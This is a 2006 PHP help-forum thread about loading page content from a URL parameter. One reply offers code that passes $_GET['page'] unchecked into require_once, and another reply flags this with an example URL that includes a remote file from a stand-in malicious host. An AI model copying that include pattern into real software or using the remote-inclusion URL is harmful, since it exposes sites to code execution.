Jump to content


Photo

checking links


  • Please log in to reply
9 replies to this topic

#1 Hellusius

Hellusius
  • Members
  • PipPipPip
  • Advanced Member
  • 55 posts

Posted 26 July 2006 - 01:53 PM

I tried checking a link with a little php script and yes I am quite a noob with php cause I only read a tutorial, but here goes anyway.

<?php 
$page= array("index.php, underC.php");
if ($page=="index.php")
include ("Newsfact_01");

elseif ($page=="underC.php")
Include ("underC.php");

I don't actually know if that works, but I want to check like what site is loaded and then load the information from a page in the table

#2 ozPATT

ozPATT
  • Members
  • PipPip
  • Member
  • 15 posts

Posted 26 July 2006 - 02:04 PM

not too hot on arrays, but I usually pass the page in the url, so the index page looks like:

if(isset($_GET['page'])) {
	$page = $_GET['page'];
}
else {
	$page = "home";
}

require_once($page . ".php");

this way, I store all the content in a separate folder called "content" funnily enough, and index page is just used to display it. So you might have the following page and link:

Home = index.php
News = index.php?page=news
About = index.php?page=about
Contact = index.php?page=contact

if that makes sense. :)

#3 Hellusius

Hellusius
  • Members
  • PipPipPip
  • Advanced Member
  • 55 posts

Posted 26 July 2006 - 02:18 PM

not one bit actually, sorry :o

#4 wildteen88

wildteen88
  • Staff Alumni
  • Advanced Member
  • 10,482 posts
  • LocationUK, Bournemouth

Posted 26 July 2006 - 02:22 PM

Hellusius you might want to look into in_array if you are storing your pages filenames in an array.

Also ozPATT your code is very unsecure, as i can come along and do this:
yoursite.com/index.php?page=http://www.mybadsite.com/nastyfile.php
and nastyfile.php will have some malicous code which could pertentially screw up your site, and possibly others too.

#5 Hellusius

Hellusius
  • Members
  • PipPipPip
  • Advanced Member
  • 55 posts

Posted 26 July 2006 - 02:26 PM

well I don't know on what other way to do it :(

#6 Hellusius

Hellusius
  • Members
  • PipPipPip
  • Advanced Member
  • 55 posts

Posted 26 July 2006 - 02:38 PM

It now looks like this btw

    <?php 
$page= array("index.php, underC.php");
if (in_array("index.php", $page, true))
{
include ("Newsfact_01");
}
elseif (in_array("underC.php", $page, true))
{
Include ("underC.php");
}
?>

The only problem I am experiencing, is that none of the pages are loaded in the table

am I doign something wrong?

#7 Hellusius

Hellusius
  • Members
  • PipPipPip
  • Advanced Member
  • 55 posts

Posted 26 July 2006 - 05:36 PM

any suggestions? *desperate :(

#8 Hellusius

Hellusius
  • Members
  • PipPipPip
  • Advanced Member
  • 55 posts

Posted 27 July 2006 - 11:10 PM

No one that could possibly help me out here?

#9 sanfly

sanfly
  • Members
  • PipPipPip
  • Advanced Member
  • 344 posts
  • LocationNew Zealand

Posted 27 July 2006 - 11:27 PM

Can you try and explain a little more exactly what it is you're trying to achieve?
If you're not part of the solution, you're part of the precipitate

#10 redarrow

redarrow
  • Members
  • PipPipPip
  • Advanced Member
  • 7,308 posts
  • Locationlondon

Posted 28 July 2006 - 04:44 AM

I read all this post please tell us what you want to do bugging me lol...............

And this was the safe way to use get but each page has to have a condition=in the link ok.

say on index.php you have these three links for your site
<a href="links.php?h=home">my home page</a>// for home page

< a href="links.php?f=forum">my forum page</a>//for the forum page

<a href="links.php?c=contact">contact me</a>// contact admin page

All the above links goto a page called links.php and know we call the links with the $_GET[' '] statement also the above was a html version ok and is also a safe way to use $_GET[' '].

Know on the page links.php you gotto use the $_GET[' '] statement.

link.php
<?php

if($_GET['h']=="home") {

header("location: index.php");

}elseif($_GET['f']=="forum") {

header("location: forum.php"); 

}elseif($_GET['c']=="contact") {

header("location: contact.php");

}else{

echo"sorry you have not got any right to be on this page";
exit;
}
?>


Wish i new all about php DAM i will have to learn
((EMAIL CODE THAT WORKS))
http://simpleforum.ath.cx/mail2.inc
((PAYPAL INTEGRATION THAT WORKS))
http://simpleforum.a...aypal1_info.inc




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users